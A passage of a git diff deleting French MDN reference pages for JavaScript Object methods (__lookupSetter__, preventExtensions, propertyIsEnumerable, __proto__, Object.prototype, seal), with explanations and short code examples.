Une chaîne qui contient le nom de la propriété dont on souhaite obtenir le mutateur correspondant.
-
- -

Valeur de retour

- -

La fonction associée comme mutateur à la propriété indiquée.

- -

Description

- -

Si un mutateur a été défini pour une propriété, on ne peut pas l'obtenir en faisant référence à la propriété directement. __lookupSetter__ peut être utilisée pour obtenir une référence vers la fonction utilisée comme mutateur.

- -

Cette méthode ne doit plus être utilisée et peut être remplacée avec la méthodes standard {{jsxref("Object.getOwnPropertyDescriptor()")}}.

- -

Exemples

- -
var obj = {
-  set toto(valeur) {
-    this.truc = value;
-  }
-};
-
-
-// Méthode non-standard et dépréciée
-obj.__lookupSetter__('toto')
-// (function(valeur) { this.truc = valeur; })
-
-
-// Méthode standard
-Object.getOwnPropertyDescriptor(obj, "toto").set;
-// (function(valeur) { this.truc = valeur; })
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.prototype.__lookupSetter__', 'Object.prototype.__lookupSetter__()')}}{{Spec2('ESDraft')}}Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.lookupSetter")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.lookupGetter","Object.prototype.__lookupGetter__()")}}
    • -
  • L'opérateur {{jsxref("Fonctions/set", "set")}}
    • -
  • {{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.getPrototypeOf()")}}
    • -
  • {{jsxref("Object.prototype.defineGetter","Object.prototype.__defineGetter__()")}}
    • -
  • {{jsxref("Object.prototype.defineSetter","Object.prototype.__defineSetter__()")}}
    • -
  • Guide JavaScript : Utiliser des getters et setters
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/preventextensions/index.html b/files/fr/web/javascript/reference/objets_globaux/object/preventextensions/index.html deleted file mode 100644 index 8b86cba0a4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/preventextensions/index.html +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Object.preventExtensions() -slug: Web/JavaScript/Reference/Objets_globaux/Object/preventExtensions -tags: - - ECMAScript 5 - - JavaScript - - JavaScript 1.8.5 - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions ---- -
{{JSRef}}
- -

La méthode Object.preventExtensions() permet d'empêcher l'ajout de nouvelles propriétés à un objet (i.e. d'étendre l'objet grâce à de nouvelles caractéristiques).

- -
{{EmbedInteractiveExample("pages/js/object-preventextensions.html")}}
- - - -

Syntaxe

- -
Object.preventExtensions(obj)
- -

Paramètres

- -
-
obj
-
L'objet qu'on souhaite rendre non-extensible.
-
- -

Valeur de retour

- -

L'objet rendu non-extensible.

- -

Description

- -

Un objet est extensible si on peut lui ajouter de nouvelles propriétés. Object.preventExtensions() marque un objet et le rend non-extensible. Ainsi, cet objet ne pourra avoir d'autres propriétés que celles à l'instant où il a été marqué comme non-extensible. Attention, les propriétés existantes d'un objet non-extensible peuvent toujours être supprimées. Toute tentative d'ajout de nouvelles propriétés à un objet non-extensible échouera, soit de façon silencieuse, soit en levant une exception {{jsxref("TypeError")}} (le plus souvent en {{jsxref("Strict_mode", "mode strict", "", 1)}}).

- -

Object.preventExtensions() n'empêche que l'ajout des propriétés directement sur l'objet, il n'empêche pas d'ajouter des propriétés sur le prototype.

- -

Cette méthode rend la propriété interne [[prototype]] de la cible immuable, toute réaffectation de [[prototype]] déclenchera une exception TypeError. Ce comportement est spécifique à la propriété interne [[prototype]], les autres propriétés de la cible restent modifiables.

- -

Si, grâce à cette méthode, on peut rendre un objet non-extensible, il n'existe aucune méthode pour effectuer l'action inverse (rendre un objet non-extensible à nouveau extensible).

- -

Exemples

- -
// Object.preventExtensions renvoie l'objet
-// non-extensible.
-var obj = {};
-var obj2 = Object.preventExtensions(obj);
-obj === obj2; // true
-
-// Par défaut, les objets sont extensibles.
-var vide = {};
-Object.isExtensible(vide); // true
-
-// ...mais cela peut être modifié.
-Object.preventExtensions(vide);
-Object.isExtensible(vide) === false);
-
-// Object.defineProperty lève une exception
-// lorsqu'on tente d'ajouter de nouvelles propriétés
-var nonExtensible = { removable: true };
-Object.preventExtensions(nonExtensible);
-
-Object.defineProperty(nonExtensible, 'nouvelle', { value: 8675309 });
-/ lève une TypeError
-
-// En mode strict, toute tentative d'ajout
-// lève une exception TypeError
-function échec() {
-  'use strict';
-  nonExtensible.nouvelleProp = 'ÉCHEC'; //
-}
-échec();
-
-// EXTENSION (ne fonctionne que pour les moteurs
-// qui utilisent __proto__ ) :
-// Le prototype (via __proto__) d'un objet non-extensible
-// n'est pas modifiable :
-var fixed = Object.preventExtensions({});
-fixed.__proto__ = { oh: 'hey' }; // lève une TypeError
-
- -

Notes

- -

Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, une valeur qui n'est pas un objet sera traitée comme un objet ordinaire qui n'est pas extensible et la méthode renverra cette valeur.

- -
Object.preventExtensions(1);
-// TypeError : 1 n'est pas un object (code ES5)
-
-Object.preventExtensions(1);
-// 1                             (code ES2015)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.10', 'Object.preventExtensions')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.preventextensions', 'Object.preventExtensions')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.preventextensions', 'Object.preventExtensions')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.preventExtensions")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.isExtensible()")}}
    • -
  • {{jsxref("Object.seal()")}}
    • -
  • {{jsxref("Object.isSealed()")}}
    • -
  • {{jsxref("Object.freeze()")}}
    • -
  • {{jsxref("Object.isFrozen()")}}
    • -
  • {{jsxref("Reflect.preventExtensions()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/propertyisenumerable/index.html b/files/fr/web/javascript/reference/objets_globaux/object/propertyisenumerable/index.html deleted file mode 100644 index d1caefe8c3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/propertyisenumerable/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: Object.prototype.propertyIsEnumerable() -slug: Web/JavaScript/Reference/Objets_globaux/Object/propertyIsEnumerable -tags: - - JavaScript - - Méthode - - Object - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable ---- -
{{JSRef}}
- -

La méthode propertyIsEnumerable() renvoie un booléen qui indique si la propriété donnée est énumérable.

- -
{{EmbedInteractiveExample("pages/js/object-prototype-propertyisenumerable.html")}}
- - - -

Syntaxe

- -
obj.propertyIsEnumerable(prop)
- -

Paramètres

- -
-
prop
-
Le nom de la propriété dont on souhaite savoir si elle est énumérable ou non.
-
- -

Valeur de retour

- -

Un booléen qui indique si la propriété passée en argument est énumérable.

- -

Description

- -

Chaque objet possède une méthode propertyIsEnumerable. Cette méthode est utilisée afin de savoir s'il est possible d'énumérer la propriété donnée au moyen d'une boucle {{jsxref("Instructions/for...in", "for...in")}}. Cela concerne uniquement les propriétés propres à l'objet (celles qui ne sont pas héritées via la chaîne de prototypes). Si un objet ne possède pas la propriété, cette méthode renverra false.

- -

Exemples

- -

Utiliser propertyIsEnumerable

- -

Dans l'exemple qui suit, on illustre comment utiliser propertyIsEnumerable sur les objets et tableaux :

- -
var o = {};
-var a = [];
-o.prop = 'est énumérable';
-a[0] = 'est énumérable';
-
-o.propertyIsEnumerable('prop');   // renvoie true
-a.propertyIsEnumerable(0);        // renvoie true
-
- -

Objets natifs et objets définis par l'utilisateur

- -

Dans l'exemple ci-dessous, on illustre l'énumérabilité des propriétés des objets natifs et celle des objets tiers, définis dans les scripts :

- -
var a = ['est énumérable'];
-
-a.propertyIsEnumerable(0);          // renvoie true
-a.propertyIsEnumerable('length');   // renvoie false
-
-Math.propertyIsEnumerable('random');   // renvoie false
-this.propertyIsEnumerable('Math');     // renvoie false
-
- -

Propriétés héritées et propriétés propres

- -
var a = [];
-a.propertyIsEnumerable('constructor');         // renvoie false
-
-function premierConstructeur() {
-  this.propriete = 'non énumérable';
-}
-
-premierConstructeur.prototype.premiereMethode = function() {};
-
-function secondConstructeur() {
-  this.methode = function methode() { return 'énumérable'; };
-}
-
-secondConstructeur.prototype = new premierConstructeur;
-secondConstructeur.prototype.constructor = secondConstructeur;
-
-var o = new secondConstructeur();
-o.propArbitraire = 'is enumerable';
-
-o.propertyIsEnumerable('propArbitraire');   // renvoie true
-o.propertyIsEnumerable('méthode');          // renvoie true
-o.propertyIsEnumerable('propriété');        // renvoie false
-
-o.propriete = 'énumérable';
-
-o.propertyIsEnumerable('propriété');        // renvoie true
-
-// Ces instructions renvoient false car propertyIsEnumerable
-// ne prend pas en compte la chaîne de prototypes
-o.propertyIsEnumerable('prototype');   // renvoie false
-o.propertyIsEnumerable('constructor'); // renvoie false
-o.propertyIsEnumerable('premièreMéthode'); // renvoie false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.2.4.7', 'Object.prototype.propertyIsEnumerable')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.propertyIsEnumerable")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/object/proto/index.html b/files/fr/web/javascript/reference/objets_globaux/object/proto/index.html deleted file mode 100644 index 937a9f564c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/proto/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Object.prototype.__proto__ -slug: Web/JavaScript/Reference/Objets_globaux/Object/proto -tags: - - Deprecated - - ECMAScript 2015 - - JavaScript - - Object - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/proto ---- -
{{JSRef}}{{Deprecated_header}}
- -
-

Attention : Étant donnée la façon dont la plupart des moteurs JavaScript optimisent les performances, modifier le [[Prototype]] d'un objet est une opération lente pour chaque navigateur et moteur JavaScript. Les impacts liés aux performances sur ce point sont vastes et subtiles : ils concernent pas uniquement le temps passé à effectuer obj.__proto__ = ..., mais peuvent concerner n'importe quel code pour n'importe quel objet dont [[Prototype]] a été modifié. Si vous souhaitez obtenir des performances optimales, évitez de modifier le [[Prototype]] d'un objet. À la place, il est conseillé de créer un objet avec le prototype voulu en utilisant {{jsxref("Object.create()")}}.

-
- -
-

Attention : Bien que la propriété Object.prototype.__proto__ soit déjà supportée dans la plupart des navigateurs à l'heure actuelle, son comportement n'a été standardisé que récemment avec la spécification ECMAScript 2015. Si vous avez besoin d'utiliser cette propriété dans des environnements antérieurs à ES2015, il est recommandé d'utiliser {{jsxref("Object.getPrototypeOf()")}}.

-
- -

La propriété __proto__ de {{jsxref("Object.prototype")}} est une propriété accesseur (un couple de fonction avec un accesseur (getter) et un mutateur (setter)) qui expose le [[Prototype]] interne (qui est soit un objet, soit {{jsxref("null")}}) de l'objet courant.

- -

L'utilisation de __proto__ est sujet à controverse. Elle a été déconseillée par plusieurs personnes et n'avait jamais été incluse dans la spécification ECMAScript. Cependant, de nombreux navigateurs ont décidé de l'implémenter. À l'heure actuelle, la propriété __proto__ a été standardisée avec la spécification ECMAScript 2015 et sera officiellement supportée à l'avenir. Une alternative à cette propriété peut être l'utilisation des méthodes {{jsxref("Object.getPrototypeOf")}}/{{jsxref("Reflect.getPrototypeOf")}} et {{jsxref("Object.setPrototypeOf")}}/{{jsxref("Reflect.setPrototypeOf")}}. Cependant, modifier le [[Prototype]] d'un objet est toujours une opération lente qui doit être évitée le plus possible pour des raisons de performances.

- -

La propriété __proto__ peut également être utilisée avec un littéral objet afin de définir le [[Prototype]] lors de la construction (ce qui en fait une alternative à {{jsxref("Object.create()")}}. Voir la page sur {{jsxref("Opérateurs/Initialisateur_objet","les initialisateurs d'objet","",1)}}.

- -

Syntaxe

- -
var proto = obj.__proto__;
- -
-

Note : le nom de la propriété est composé de deux tirets bas, suivis de « proto », suivis par deux tirets bas (underscores)

-
- -

Description

- -

L'accesseur __proto__ expose la valeur du [[Prototype]] interne d'un objet.

- -
    -
  • Pour les objets créés via un littéral objet, cette valeur est {{jsxref("Object.prototype")}}.
    • -
  • Pour les objet créés via un littéral de tableau, cette valeur est {{jsxref("Array.prototype")}}.
    • -
  • Pour les fonctions, cette valeur est {{jsxref("Function.prototype")}}.
    • -
  • Pour les objets créés en utilisant new fun, avec fun un des constructeurs natif de fonctions, fournis par JavaScript ({{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("String")}}, etc.), cette valeur est fun.prototype.
    • -
  • Pour les objets créés en utilisant new fun, avec fun une function definie dans un script, cette valeur est la valeur de fun.prototype au moment où new fun est évaluée. (Ainsi, si on affecte une nouvelle valeur à fun.prototype, les instances crées précédemment conserveront leur [[Prototype]], les objets créés par la suite bénéficieront de la nouvelle valeur pour leur [[Prototype]].)
    • -
- -

Le mutateur __proto__ permet de changer le [[Prototype]] d'un objet. Cet objet doit être extensible selon {{jsxref("Object.isExtensible")}}, si ce n'est pas le cas, une exception {{jsxref("TypeError")}} sera renvoyée. La valeur fournie pour le nouveau prototype doit être un objet ou {{jsxref("null")}}. Toute autre valeur entraînera un échec silencieux.

- -

Pour plus d'éléments sur le fonctionnement de l'héritage et des prototypes, voir la page sur l'héritage et les chaînes de prototypes.

- -

Le propriété __proto__ n'est qu'une propriété accesseur (composée d'une fonction accesseur (getter) et d'une fonction mutateur (setter)) pour {{jsxref("Object.prototype")}}. Si l'accès à __proto__ consulte {{jsxref("Object.prototype")}}, on trouvera la propriété. Un accesseur qui ne consulte pas {{jsxref("Object.prototype")}} ne pourra pas trouver le prototype. Si une propriété __proto__ est trouvée avant que {{jsxref("Object.prototype")}} ne soit consulté, cette propriété « cachera » {{jsxref("Object.prototype")}}.

- -
var aucunProto = Object.create(null);
-
-console.log(typeof aucunProto.__proto__); // undefined
-console.log(Object.getPrototypeOf(aucunProto)); // null
-
-aucunProto.__proto__ = 17;
-
-console.log(aucunProto.__proto__); // 17
-console.log(Object.getPrototypeOf(aucunProto)); // null
-
-var protoCaché = {};
-Object.defineProperty(protoCaché, "__proto__",
-                      { value: 42, writable: true, configurable: true, enumerable: true });
-
-console.log(protoCaché.__proto__); // 42
-console.log(Object.getPrototypeOf(protoCaché) === Object.prototype); // true
-
- -

Exemples

- -

Dans ce qui suit, on crée un nouvelle instance d'Employé et on teste si __proto__ est bien le même objet que le prototype de son constructeur.

- -
-

Attention ! Les remarques données plus haut sur les atteintes à la performance restent valables pour ces exemples. Ces exemples permettent uniquement d'illustrer le fonctionnement de __proto__, ils ne font pas office de recommandations.

-
- -
// On déclare une fonction à utiliser comme constructeur
-function Employé() {
-  /* on initialise l'instance */
-}
-
-// On crée une nouvelle instance d'Employé
-var fred = new Employé();
-
-// On teste l'équivalence
-fred.__proto__ === Employé.prototype; // true
-
- -

À cet instant, fred hérite de Employé. On peut toutefois changer ça en assignant un nouvel objet à fred.__proto__ :

- -
// Assigner un nouvel objet à __proto__
-fred.__proto__ = Object.prototype;
-
- -

fred n'hérite plus de Employé.prototype, mais de Object.prototype. Il perd donc les propriétés héritées de Employé.prototype.

- -

Cela n'est possible que pour les objets {{jsxref("Object.isExtensible", "extensibles","",1)}}. La propriété __proto__ d'un objet non-extensible ne peut pas être changée :

- -
var obj = {};
-Object.preventExtensions(obj);
-
-obj.__proto__ = {}; // renvoie une exception TypeError
-
- -

On notera que même la propriété __proto__ de Object.prototype peut être redéfinie tant que la chaîne de prototypes se termine par null :

- -
var b = {};
-
-Object.prototype.__proto__ =
-    Object.create(null, //[[Prototype]]
-                  { salut: { value: function () {console.log('salut');}}});
-
-b.salut();
- -

Si la propriété __proto__ de {{jsxref("Object.prototype")}} ne permet pas d'aboutir à {{jsxref("null")}} via la chaîne de prototypes, on a une chaîne cyclique et on doit avoir une exception {{jsxref("TypeError")}} "cyclic __proto__ value".

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-object.prototype.__proto__', 'Object.prototype.__proto__')}}{{Spec2('ES2015')}}Incluse dans l'annexe (normative) pour le fonctionnalités additionneles d'ECMAScript pour les navigateurs web (note : la spécification codifie ce qui est déjà présent dans les implémentations).
{{SpecName('ESDraft', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Object.proto")}}

- -

Notes de compatibilité

- -

Bien que la spécification ES2015 rende le support de __proto__ nécessaire pour les navigateurs web, elle n'est pas obligatoire pour les autres environnements (bien que ce soit conseillé vu le caractère normatif de l'annexe). Si votre code doit être compatible avec un environnement qui n'est pas un navigateur web, il est recommandé d'utiliser {{jsxref("Object.getPrototypeOf()")}} et {{jsxref("Object.setPrototypeOf()")}} à la place.

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
    • -
  • {{jsxref("Object.getPrototypeOf()")}}
    • -
  • {{jsxref("Object.setPrototypeOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/object/prototype/index.html deleted file mode 100644 index 6eb405ace4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/prototype/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: Object.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Object/prototype -tags: - - JavaScript - - Object - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object -translation_of_original: Web/JavaScript/Reference/Global_Objects/Object/prototype ---- -
{{JSRef}}
- -

La propriété Object.prototype représente le prototype de {{jsxref("Object")}}.

- -

{{js_property_attributes(0, 0, 0)}}

- -

Description

- -

La quasi-totalité des objets JavaScript descendent de {{jsxref("Object")}} ; un objet classique héritera donc des méthodes et propriétés de Object.prototype. Comme pour toutes les propriétés héritées, il est possible de surcharger ces propriétés. Par exemple, d'autres prototypes de constructeurs surchargent la propriété constructor et fournissent leur propre méthode {{jsxref("Object.prototype.toString()", "toString()")}}.

- -

Cependant, on peut volontairement créer des objets qui ne descendent pas de {{jsxref("Object")}} (par exemple avec {{jsxref("Object.create", "Object.create(null)")}}) ou les modifier afin que ce ne soit plus le cas (par exemple avec la méthode {{jsxref("Object.setPrototypeOf()")}}).

- -

Les modifications apportées aux propriétés du prototype d'Object impactent donc tous ces objets via la chaîne de prototypes, sauf si ces propriétés sont surchargées. Ce puissant mécanisme permet ainsi de modifier le comportement des objets ou d'y ajouter des fonctionnalités.

- -

Propriétés

- -
-
{{jsxref("Object.prototype.constructor")}}
-
Définit la fonction qui a créé le prototype d'un objet.
-
{{jsxref("Object.prototype.proto","Object.prototype.__proto__")}} {{non-standard_inline}}
-
Pointe vers l'objet qui a été utilisé comme prototype lors de l'instanciation de l'objet.
-
{{jsxref("Object.prototype.noSuchMethod","Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}
-
Permet de définir une fonction qui sera exécutée lors d'une tentative d'accès à une méthode non-définie pour l'objet.
-
{{jsxref("Object.prototype.count","Object.prototype.__count__")}} {{obsolete_inline}}
-
UTilisée pour renvoyer le nombre de propriétés énumérables sur un objet défini par l'utilisateur. Cette propriété a été retirée.
-
{{jsxref("Object.prototype.parent","Object.prototype.__parent__")}} {{obsolete_inline}}
-
Utilisée pour faire référence au contexte de l'objet. Cette propriété a été retirée.
-
- -

Méthodes

- -
-
{{jsxref("Object.prototype.defineGetter","Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Associe une fonction à une propriété qui, lorsqu'on y accède, exécute la fonction et renvoie la valeur de retour.
-
{{jsxref("Object.prototype.defineSetter","Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Associe une fonction à une propriété qui, lorsqu'on la définit, exécute la fonction qui modifie la propriété.
-
{{jsxref("Object.prototype.lookupGetter","Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Renvoie la fonction associée à la propriété définie par la méthode {{jsxref("Object.defineGetter", "__defineGetter__")}}.
-
{{jsxref("Object.prototype.lookupSetter()","Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Renvoie la fonction associée avec la propriété définie par la méthode {{jsxref("Object.defineSetter", "__defineSetter__")}}.
-
{{jsxref("Object.prototype.hasOwnProperty()")}}
-
Renvoie un booléen qui indique si l'objet contient la propriété donnée comme une propriété propre (non héritée via la chaîne de prototypes).
-
{{jsxref("Object.prototype.isPrototypeOf()")}}
-
Renvoie un booléen qui indique si l'objet courant fait partie de la chaîne de prototype de l'objet passé en argument.
-
{{jsxref("Object.prototype.propertyIsEnumerable()")}}
-
Renvoie un booléen qui indique si l'attribut ECMAScript interne [[Enumerable]] est défini.
-
{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
-
Renvoie une chaîne de caractères qui est un littéral objet représentant l'objet pour lequel la méthode a été appelée. La valeur de retour peut être utilisée pour créer un nouvel objet.
-
{{jsxref("Object.prototype.toLocaleString()")}}
-
Appelle la méthode {{jsxref("Object.toString", "toString()")}}.
-
{{jsxref("Object.prototype.toString()")}}
-
Renvoie une chaîne de caractères représentant l'objet.
-
{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}
-
Supprime un point d'arrêt conditionnel placé sur une propriété de l'objet.
-
{{jsxref("Object.prototype.valueOf()")}}
-
Renvoie la valeur primitive de l'objet.
-
{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}
-
Ajoute un point d'arrêt conditionnel sur une propriété de l'objet.
-
{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}
-
Utilisée pour évaluer une chaîne de caractères étant du code JavaScript dans le contexte de l'objet. Cette méthode a été retirée.
-
- -

Exemples

- -

Javascript se base sur un modèle prototypal et non pas classique (au sens « modèle à base de classes »). Le prototype d'un objet est utilisé pour fournir de façon dynamique des propriétés aux objets qui héritent du prototype.

- -

Par exemple :

- -
var Personne = function(nom) {
-  this.name = nom;
-  this.peutParler = true;
-  this.salutation = function() {
-    if (this.peutParler) {
-      console.log('Bonjour, je suis ' + this.nom);
-    }
-  };
-};
-
-var Employe = function(nom, titre) {
-  this.nom = nom;
-  this.titre = titre;
-  this.salutation = function() {
-    if (this.peutParler) {
-      console.log("Bonjour, je suis " + this.nom + ", le " + this.titre);
-    }
-  };
-};
-Employe.prototype = new Personne();
-
-var Client = function(nom) {
-  this.nom = nom;
-};
-Client.prototype = new Personne();
-
-var Mime = function(nom) {
-  this.nom = nom;
-  this.peutParler = false;
-};
-Mime.prototype = new Personne();
-
-var bob = new Employe('Bob', 'bricoleur');
-var joe = new Client('Joe');
-var rg = new Employe('Red Green', 'réparateur');
-var mike = new Client('Mike');
-var mime = new Mime('Mime');
-bob.salutation();
-// Bonjour, je suis Bob, le bricoleur
-
-joe.salutation();
-// Bonjour, je suis Joe
-
-rg.salutation();
-// Bonjour, je suis Red Green, le réparateur
-
-mike.salutation();
-// Bonjour, je suis Mike
-
-mime.salutation();
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Object.prototype")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/object/seal/index.html b/files/fr/web/javascript/reference/objets_globaux/object/seal/index.html deleted file mode 100644 index 3a111936e6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/seal/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: Object.seal() -slug: Web/JavaScript/Reference/Objets_globaux/Object/seal -tags: - - ECMAScript 5 - - JavaScript - - JavaScript 1.8.5 - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal ---- -
{{JSRef}}
- -

La méthode Object.seal() scelle un objet afin d'empêcher l'ajout de nouvelles propriétés, en marquant les propriétés existantes comme non-configurables. Les valeurs des propriétés courantes peuvent toujours être modifiées si elles sont accessibles en écriture.

- -
{{EmbedInteractiveExample("pages/js/object-prototype-seal.html")}}
- - - -

Syntaxe

- -
Object.seal(obj)
- -

Paramètres

- -
-
obj
-
L'objet à sceller. Ce peut être n'importe quelle valeur qui n'ait pas un type primitif.
-
- -

Valeur de retour

- -

L'objet qui est scellé.

- -

Description

- -

Par défaut, les objets sont {{jsxref("Object.isExtensible()", "extensibles", "", 1)}} (ce qui signifie que de nouvelles propriétés peuvent leur être ajoutées). Sceller un objet empêche l'ajout de nouvelles propriétés et marque les propriétés existantes comme non-configurables. Ainsi, l'ensemble de propriétés de l'objet devient fixé et immuable. Le fait de rendre les propriétés non-configurables empêche également de transformer des propriétés de données en accesseurs et vice versa. Cela n'empêche pas de modifier la valeur des propriétés. Toute tentative de suppression ou d'ajout de propriétés à un objet qui est scellé, de conversion d'une propriété de données en accesseurs ou vice versa échouera, soit de manière silencieuse soit en lançant une exception {{jsxref("TypeError")}} (la plupart du temps en {{jsxref("Fonctions_et_portee_des_fonctions/Strict_mode","mode strict","",1)}}.

- -

La chaîne de prototypes reste la même. Cependant, la propriété {{jsxref("Object.proto", "__proto__")}} ( {{deprecated_inline}} ) est scellée également.

- -

Exemples

- -
var obj = {
-    prop: function () {},
-    toto: "truc"
-  };
-
-// On peut ajouter de nouvelles propriétés
-// Les propriétés existantes peuvent être
-// changées ou retirées
-obj.toto = "machin";
-obj.blop = "blip";
-delete obj.prop;
-
-var o = Object.seal(obj);
-
-o === obj; // true
-Object.isSealed(obj); // true
-
-// On peut toujours changer la valeur
-// d'une propriété d'un objet scellé
-obj.toto = "moh";
-
-// Mais on ne peut pas convertir les données
-// en accesseurs (ou vice versa)
-Object.defineProperty(obj, "toto", { get: function() { return "g"; } });
-// lancera une TypeError
-
-// Tout autre changement que celui d'une valeur
-// ne fonctionnera pas
-
-obj.coincoin = "mon canard";
-// la propriété n'est pas ajoutée
-
-delete obj.toto;
-// la propriété n'est pas supprimée
-
-// ...en mode strict, cela lancera des TypeErrors
-function échec() {
-  "use strict";
-  delete obj.toto; // lance une TypeError
-  obj.tutu = "arf"; // lance une TypeError
-}
-échec();
-
-// L'utilisation de la méthode Object.defineProperty ne fonctionnera pas
-
-Object.defineProperty(obj, "ohai", { value: 17 });
-// lance une TypeError
-
-Object.defineProperty(obj, "toto", { value: "eit" });
-// modifie une propriété existante
- -

Notes

- -

Pour ES5, si l'argument passé à la méthode n'est pas un objet (mais une valeur d'un autre type primitif), cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, un argument qui n'est pas un objet sera traité comme un objet ordinaire scellé et la méthode renverra cet objet.

- -
Object.seal(1);
-// TypeError : 1 n'est pas un objet (code ES5)
-
-Object.seal(1);
-// 1 (code ES2015)
- -

Comparaison avec Object.freeze()

- -

Lorsqu'on utilise la méthode {{jsxref("Object.freeze()")}}, les propriétés existantes d'un objet gelé deviennent immuables. En revanche, avec Object.seal(), il est toujours possible de modifier la valeur des propriétés existantes d'un objet scellé.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaire
{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}{{Spec2('ES5.1')}}Définition initiale.
- Implémentée par JavaScript 1.8.5
{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-object.seal', 'Object.seal')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Object.seal")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.isSealed()")}}
    • -
  • {{jsxref("Object.isFrozen()")}}
    • -
  • {{jsxref("Object.isExtensible()")}}
    • -
  • {{jsxref("Object.preventExtensions()")}}
    • -
  • {{jsxref("Object.freeze()")}}
    • -
